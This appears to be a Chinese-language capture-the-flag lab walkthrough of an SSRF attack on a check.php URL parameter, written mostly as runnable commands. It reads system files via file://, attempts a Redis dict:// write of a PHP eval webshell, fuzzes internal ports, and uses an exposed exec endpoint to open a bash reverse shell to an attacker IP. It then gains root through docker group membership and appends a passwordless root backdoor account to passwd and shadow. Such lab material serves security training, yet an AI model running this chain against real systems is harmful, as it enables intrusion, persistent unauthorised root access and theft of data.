一、扫描端口
命令:nmap -T4 10.10.1.171
二、测试本地回环地址
命令:http://10.10.1.171/check.php?url=http://127.0.0.1
三、信息收集
命令:file:///etc/passwd(查看passwd文件)
file:///proc/self/environ(不可看)
file:///var/www/html/config.php(不可看)
file:///proc/net/tcp(查看本机所有 TCP 连接、端口监听、端口占用)
file:///etc/crontab(查看定时任务)
查看完发现没有什么特别可利用的东西,密钥也不可看
四、测试常用的内部端口
命令:http://10.10.1.171/check.php?url=http://127.0.0.1:8080(Failed to connect就是不可用)
命令:http://10.10.1.171/check.php?url=http://127.0.0.1:6379(Empty reply是可以)
五、尝试写入一句话木马
原命令:
编码后命令:dict://127.0.0.1:6379/SET%20x%20%22%3C%3Fphp%20eval($_GET[‘cmd’]);%20%3F%3E%22(把一句把木马写入到一个名未x的内存文件里)
dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20shell.php(修改 Redis 持久化 RDB 文件的输出文件名)
dict://127.0.0.1:6379/SAVE(保存到磁盘里)
dict://127.0.0.1:6379/GET%20x(查看内容文件x)
dict://127.0.0.1:6379/CONFIG%20GET%20dir(查询 Redis RDB 持久化文件的保存目录)
dict://127.0.0.1:6379/CONFIG%20GET%20dbfilename(查询 RDB 持久化文件的默认文件名)
进入之后发现只有原页面,推测应该是写入磁盘的时候没有权限
6、重新爆破端口,进行内部端口爆破
命令:wfuzz -z range,1-10000 -t 10 http://10.10.1.171/check.php?url=http://127.0.0.1:FUZZ
太多了过滤一下
命令:wfuzz -z range,1-10000 -t 10 http://10.10.1.171/check.php?url=http://127.0.0.1:FUZZ | grep -v -E “996 Ch|1000 Ch |998 Ch”
发现有新的端口8500
六、查看端口信息
命令:http://127.0.0.1:8500
进入可以看见下方有一个cmd=<command>的指令,我们尝试一下
命令:http://127.0.0.1:8500/v1/exec?cmd=id
发现可以运行命令程序,可以运行命令程序很大概率可以直接反弹shell
命令:http://127.0.0.1:8500/v1/exec?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.1.188/4444%200%3E%261%27
反弹成功
七、提权信息收集
命令:sudo -l
命令:find / -perm -4000 -type f -ls 2>/dev/null(查找4000的文件)
命令:cat /etc/crontab(定时任务)
ls -l /etc/cron.hourly /etc/cron.daily /etc/cron.week(定时任务文件的权限)
ly /etc/cron.monthly
命令:find / -writable 2>/dev/null | grep -v proc(当前用户可写文件,过滤掉proc)
查看id
这里发了一个可写的docker文件,id也在docker组里
命令:docker images
有一个容器
命令:docker run -it -v /:/mnt yx-probe:latest sh(启动交互式容器,将宿主机完整根目录 / 挂载至容器内 /mnt 目录,镜像为 yx-probe:latest,启动后进入 sh 交互终端)
进入容器后就可以得到root权限
八、后门程序
命令:echo “hacker4:x:0:0:root:/root:/bin/bash” >> /mnt/etc/passwd
命令:echo “hacker4::19000:0:99999:7:::” >> /mnt/etc/shadow 
九、寻找flag
命令:grep -rni “flag{” / –exclude-dir={proc,sys,dev} 2>/dev/null
十、其他爆破方式
burpsuite爆破端口
进入burpsuite监听,在网页端输入http://10.10.1.171/check.php?url=http://127.0.0.1:8080,抓取成功后右键点击Send to lntruder
点击后上方的lntruder会亮点击进去,选择需要爆破的端口位置,右键点击Add payload position进入高亮模式
进入后右边的火箭会变成一个输入框,点击load… 进入爆破字典的选择
seq 1 10000 > ~/ports.txt 我这里创建了一个字典路径在家目录
选好后点击上方黄色Start attack 开始爆破
这里可以看到我们已知的22端口明显和其他数据不一样
ffuf爆破
ffuf -u “http://10.10.1.171/check.php?url=http://127.0.0.1:FUZZ” -w <(seq 1 10000) -t 50 -fr “Error|Refused|Fail|Timeout|denied” -v

































评论(0)
暂无评论